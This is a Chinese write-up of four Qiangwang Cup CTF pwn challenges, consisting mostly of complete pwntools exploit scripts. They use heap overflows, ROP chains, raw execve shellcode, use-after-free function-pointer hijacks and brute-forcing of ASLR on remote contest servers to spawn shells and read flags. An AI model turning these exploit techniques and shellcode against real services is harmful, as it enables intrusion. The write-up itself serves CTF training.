<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    匯總

    強網先鋒-AP

    思路很清晰,在change處,可以溢出。
    所有可以通過溢出泄露heap和putslibc地址,然后將putsaddr 換成 systemaddr,在堆塊里用 /bin/sh,在show時getshgell,cat flag 如下

    from pwn import *
    context.log_level = "debug"
    context.os = "linux"
    context.arch = "amd64"
    
    # p = process("./task_main")
    p = remote('117.78.60.139',30014)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    def add(lenth,name):
        p.recvuntil('Choice >> \n')
        p.sendline('1')
        p.recvuntil("The length of my owner's name:\n")
        p.sendline(str(lenth))
        p.recvuntil("Give me my owner's name:\n")
        p.send(name)
    
    def show(index):
        p.recvuntil('Choice >> \n')
        p.sendline('2')
        p.recvuntil('Please tell me which tickets would you want to open?\n')
        p.sendline(str(index))
        p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
    
    def edit(index,length,name):
        p.recvuntil('Choice >> \n')
        p.sendline('3')
        p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
        p.sendline(str(index))
        p.recvuntil("The length of my owner's name:\n")
        p.sendline(str(length))
        p.recvuntil("Give me my owner's name:\n")
        p.send(name)
    
    # gdb.attach(p)
    add(0x80,"a"*0x7f)
    add(0x80,'/bin/sh\x00'.ljust(0x7f,'a'))
    edit(0,0x80+0x10+1,'a'*0x90)
    show(0)
    p.recvuntil('a'*0x90)
    heap = p.recvuntil('\n')[:-1]
    print heap
    heap = u64(heap.ljust(8,'\x00'))
    edit(0,0x80+0x18+1,'a'*0x98)
    show(0)
    p.recvuntil('a'*0x98)
    putsaddr = u64(p.recv(6).ljust(8,'\x00'))
    libcaddr = putsaddr - libc.symbols['puts']
    print "**********"
    print hex(heap)
    print hex(libcaddr)
    payload = 'a'*0x80 + p64(0) + p64(0x21) + p64(heap) + p64(libcaddr + libc.symbols['system'])
    edit(0,0x80+0x20+1,payload)
    show(1)
    
    p.interactive()

    xxwarmup

    十分惡心的一道題,sub_80483DB存在棧溢出,難點就在ROP怎么做了,思路就是通過部分改libc_start_main(可以通過sub_80483DB去做),然后再一個ret或者jmp過去,難點是遠程開啟了aslr這個地址隨機了,所以要碰撞一下,概率應該為1/(2^24)(可以先本地關了aslr去做,就不用爆破了)。然后嘗試過程如下:

    • 嘗試改寫為one_gadget,結果8個沒有一個成功(雖然后面發現不能拿shell)
    • 嘗試改system傳/bin/sh,發現在system內有一個抬高棧的操作sub esp, 0x15c,這樣esp就指向了不可寫的區域,而我們最高能控制到0x40+0x80的地方。就是說sub后一定會到不可以寫區域,涼涼
    • 嘗試syscall去做,結果edx沒gadget,全是call edx,卒
    • 回過頭來去改payload,用sub_80483DB把棧復制到0x500高處,然后再把esp改過去,再執行system,然后本地可以/bin/sh了。
    • 然后開啟多進程去碰撞遠程發現不行,回去看pow.py,發現只能在最開始接收一次輸入,然后在輸出一次就沒了,而且大小都是0x100限制了。
    • 在嘗試‘cat *\x00’,可以通過報錯發現目錄,很長,,,,。因為一開始payload構造的太長了,只剩下8字節放命令,而cat */也不能輸出(猜測因為這樣先匹配了bin/)

    回去重構整個payload,把可以放命令的空間提高到了40字節,然后使用命令’cat _the_flag_dir_name_you_shold_guess/*\x00’,在多進程下碰撞了半天后,成功得到了flag。

    exp

    #-*- coding: utf-8 -*-
    from pwn import *
    from hashlib import *
    from multiprocessing import Process
    
    # bp 0x8048519
    context.log_level = "error"
    
    def gen(one):
        _copy = 0x080483db
        _esp = 0x0804a040
        _libc_start = 0x0804a00c
        ppp_ret =  0x08048619
        pop_ebp = 0x08048518
    
        rop = ''
        rop += p32(_copy) + p32(ppp_ret) + p32(_libc_start)  + p32(_esp+(13*4)) + p32(3)
        rop += p32(_copy) + p32(ppp_ret) + p32(_esp+0x500-0x44)  + p32(_esp+0x44) + p32(0x40)
        rop += p32(pop_ebp) + p32(_esp+0x500-0x44)
        rop += p32(0x08048512)
        rop += p32(one)
        rop += 'A' * (0x40 - len(rop) )
    
        rop += p32(0x0804a044)
        rop += p32(_esp+0x500-0x40)
        rop += p32(0x080482c0) * 2
        rop += p32(0)
        rop += p32(_esp+0x510-0x40)
        rop += 'cat _the_flag_dir_name_you_shold_guess/*\x00'
    
        # print len(rop.encode('hex'))
        # print rop.encode('hex')
        return rop.encode('hex')
    
    # gen(0xf7e29200)
    
    def pow(io):
        chal = io.recvuntil('\n',drop=True)
        return iters.mbruteforce(lambda x: sha256(chal + x).hexdigest().startswith('00000'), string.letters+string.digits, 4, 'fixed')
    
    def random_aslr(n):
        r = ''.join(random.choice('abcdef'+string.digits) for _ in xrange(3))
        ri = int(hex(n)[2:4]+r+hex(n)[-3:], 16)
        return int(hex(n)[2:4]+r+hex(n)[-3:], 16)
    
    def fuck():
        while True:
            io = remote('49.4.30.253', 31337)
            # io = remote('127.0.0.1', 5002)
            io.send(pow(io))
            # io.sendline(gen(random_aslr(0xf7dec000+0x3cd10)))
            # io.sendline(gen(0xf7e29200))
            io.sendline(gen(0xf7dec000+0x3cd10))
            buf = io.recvall()
            print buf
            if '{' in buf or 'flag' in buf:
                print buf
                raw_input()
            io.close()
    
    if __name__ == '__main__':
        p_list = []
        for ip in range(10):
            p = Process(target=fuck)
            p.start()
            p_list.append(p)
            time.sleep(1)
        for res in p_list:
            res.join()

    babymimic

    ret2syscall的擬態版本,通過add sp,把32和64區分開,然后分別rop一下,具體看exp。其中遇到幾個問題:

    • 最開始32和64位都是用syscall做的,32位可以成功,64位syscall執行不了不知道為什么。最后把64位換成用mprotect去增加可執行權限后ret2shellcode
    • 要讓32和64位程序執行后你要recv的東西一致才行,因為程序ret前puts了一下,這里要填點東西,然后\x00截斷一下
    • flag拿到后還有個異或操作,就很簡單了

    #-*- coding: utf-8 -*-
    from pwn import *
    from hashlib import sha256
    
    __author__ = '3summer'
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    
    context.terminal = ['tmux', 'sp', '-h', '-l', '110']
    context.log_level = 'debug'
    token = 'bfdccbebf86687951f6d37b3e5a35fe1'
    
    def dbg(breakpoint):
        gdbscript = ''
        elf_base = 0
        gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
        gdbscript += 'c\n'
        log.info(gdbscript)
        gdb.attach(io, gdbscript)
        time.sleep(1)
    
    def pow():
        ru('.hexdigest()=')
        sha_256 = ru('\n')
        ru(".encode('hex')=")
        half = ru('\n').decode('hex')
        dic = [chr(i) for i in range(0x100)]
        ans = iters.mbruteforce(lambda x: sha256(half + x).hexdigest()==sha_256, dic, 3, 'fixed')
        sla("skr.encode('hex')=", (half+ans).encode('hex'))
        sla(':', token)
    
    def exploit(io):
        print ru('it?\n')
    
        # 64位
        # dbg(0x400B33)
        int_0x80_x64 = 0x000000000044e82c
        pop_rax = 0x000000000043b97c
        pop_rdx = 0x000000000043b9d5
        pop_rdi = 0x00000000004005f6 
        pop_rsi = 0x0000000000405895
        read_plt = 0x43B9C0
        add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret
    
        # 32位
        # dbg(0x804892F)
        int_0x80_x86 = 0x080495a3
        add_esp = 0x0804f095 # add esp, 0x1c ; ret
        read_plt_32 = 0x0806C8E0
        pop_3_ret = 0x08055f54 # pop eax ; pop edx ; pop ebx ; ret
        pop_ecx = 0x0806e9f2 # pop ecx ; pop ebx ; ret
    
        rop_32 = p32(read_plt_32) + p32(pop_3_ret) + p32(0) + p32(0x80d7000) + p32(0x100) + p32(pop_ecx) + p32(0) + p32(0) + p32(pop_3_ret) + p32(0xb) + p32(0) + p32(0x80d7000) + p32(int_0x80_x86)
        # rop_64 = p64(read_plt) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6a13e3) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(int_0x80_x64)
        rop_64 = p64(read_plt) + p64(pop_rdi) + p64(0x69e000) + p64(pop_rsi) + p64(0x6000) + p64(pop_rdx) + p64(7) + p64(0x43C7A0) + p64(0x6a13e3+8)
        payload = 'test'+'\x00'*0x108 + 'b'*4 + p32(add_esp) + 'c'*4 + p64(add_rsp) + 'd'*0x10 + rop_32.ljust(0xc8,'e') + rop_64
        #                                32_ret                  64_ret                   32_rop(0xc8)             64_rop
        s(payload)
        sa('test\n','/bin/sh\x00'+'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
        return io
    
    
    if __name__ == '__main__':
        if len(sys.argv) > 2:
            io = remote(sys.argv[1], sys.argv[2])
            pow()
        else:
            io = process(sys.argv[1], 0)
        exploit(io)
        irt()

    random

    可以分為兩種chunk,暫且把calloc的成為func_chunk,malloc的成為data_chunk。

    首先在輸入name的時候可以帶個地址出來,算到pie的基址。然后days和times姑且就輸入最大的35和10。然后來看他的func_chunk的4個功能,分別是增,改,刪,查,4個函數指針存放func_chunk上,在sub_10DB時調用,他的調用是這樣的

    free(ptr);
    v5(ptr);

    很明顯存在一點問題,但是又感覺太抽象了。同時注意到add后會問你是否需要再add一個func_chunk。

    因為堆上存在函數指針,所以思路應該是和UAF例題類似的看能不能覆蓋這個指針,那么如果控制data_chunk和func_chunk大小一樣大,應該哪里會造成點錯誤出來。

    開始嘗試add,但是我們一輪有10個func_chunk加上隨機性,所以add一次然后gdb斷下去看下堆。這樣重復下去,當我add完第3個的時候發現第3個堆的開始地方居然被寫了一個堆指針。仔細研究后發現,bss上的0x203168作為func_chunk的頭節點,使用單向鏈表鏈接起來。那么可以通過編輯第3個data_chunk,我們能控制:

    • func_chunk的這個單向鏈表
    • 修改func_chunk的函數指針,通過call rdx可以劫持執行流

    后面就是要泄漏libc了,因為限制了chunk大小,全是fast泄漏不了libc,所以構造一個0x91的堆頭去free,然后打印出來就能拿到libc,接著就是call rdx執行one_gadget。由于程序邏輯有點繞,調試過程十分虐心。腳本如下:

    #-*- coding: utf-8 -*-
    from pwn import *
    
    
    __author__ = '3summer'
    s       = lambda data               :io.send(str(data)) 
    sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
    sl      = lambda data               :io.sendline(str(data))
    sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :io.recv(numb)
    ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
    irt     = lambda                    :io.interactive()
    uu32    = lambda data               :u32(data.ljust(4, '\0'))
    uu64    = lambda data               :u64(data.ljust(8, '\0'))
    
    binary_file = './random'
    context.binary = binary_file
    context.terminal = ['tmux', 'sp', '-h', '-l', '110']
    context.log_level = 'debug'
    elf = ELF(binary_file)
    libc = elf.libc
    one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    libc.symbols['one_gadget'] = one_gadgets[0]
    cnt = 10
    
    def dbg(breakpoint):
        glibc_dir = '/usr/src/glibc/glibc-2.23/'
        gdbscript = 'directory %smalloc\n' % glibc_dir
        gdbscript += 'directory %sstdio-common/\n' % glibc_dir
        gdbscript += 'directory %sstdlib/\n' % glibc_dir
        gdbscript += 'directory %slibio\n' % glibc_dir
        elf_base = int(os.popen('pmap {}| awk \x27{\{print \x241}\}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
        gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
        gdbscript += 'c\nvis_heap_chunks 0x555555758000 20\ndqs 0x555555554000+0x203168\ndq 0x555555554000+0x203180 30'
        log.info(gdbscript)
        gdb.attach(io, gdbscript)
        time.sleep(1)
    
    def choice(cmd, *argv):
        global cnt
        while True:
            v = ru('\n')
            if '(Y/N)' in v:
                if cmd in v:
                    sl('Y')
                    break
                else:
                    sl('N')
            elif '(0~10)' in v:
                sl(cnt)
            else:
                pass
        for i in argv:
            if isinstance(i,tuple):
                sla(i[0],i[1])
                continue
            sla(':',i)
    add     = lambda size,content,bol   :choice('add',size,content,('(Y/N)',bol))
    edit    = lambda idx,content        :choice('update',idx,content)
    show    = lambda idx                :choice('view',idx)
    delete  = lambda idx                :choice('delete',idx)
    
    
    def exploit(io):
        global cnt
        # dbg(0x176B) # strdup
        # dbg(0x0177F) # srand
        # dbg(0x11BA) # call func_ptr
        # dbg(0x1425) # add_done
        # dbg(0x159B) # free
        # dbg(0x0150B) # edit_done
        # dbg(0x13F2) # add_2
        # dbg(0x134D) # malloc
        # dbg(0x14E2) # edit_read
        # dbg(0x11AC) # free_call
        # dbg(0x13B3) # add_read
    
        sa('name:', 'a'*0x8)
        ru('a'*8)
        elf.address = uu64(r(6))-0xb90
        success('elf = 0x%x' % elf.address)
        sla('?\n', 35)
    
        add(0x3f,'0'*0x10,'Y')
        add(0x3f,'1'*0x10,'Y')
        add(0x17,'2'*0x10,'Y')
        show(2)
        ru('\n')
        heap_base = uu64(ru('\n'))-0xb0
        success('heap = 0x%x' % heap_base)
        edit(2, flat(heap_base+0x1b0, elf.address+0x1427, p8(2)))
        edit(0, flat(heap_base+0x1b0, elf.address+0x1600, 2, 0x91, heap_base+0x190, elf.address+0x129E, 2))
        add(0x3f, flat(heap_base+0x250, elf.address+0x1427, 2), 'N')
        show(2)
        ru('\n')
        unsorted_bin = uu64(r(6))
        libc.address = unsorted_bin-libc.sym['__malloc_hook']-88-0x10
        success('libc = 0x%x' % libc.address)
        edit(1, flat('1'*0x8, 0x41, '/bin/sh\x00', libc.sym.one_gadget, 2))
    
    
        return io
    
    
    if __name__ == '__main__':
        if len(sys.argv) > 1:
            io = remote(sys.argv[1], sys.argv[2])
        else:
            io = process(binary_file, 0)
            # io = process(binary_file, env={"LD_PRELOAD":"./libc-2.23.so"})
        exploit(io)
        irt()

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类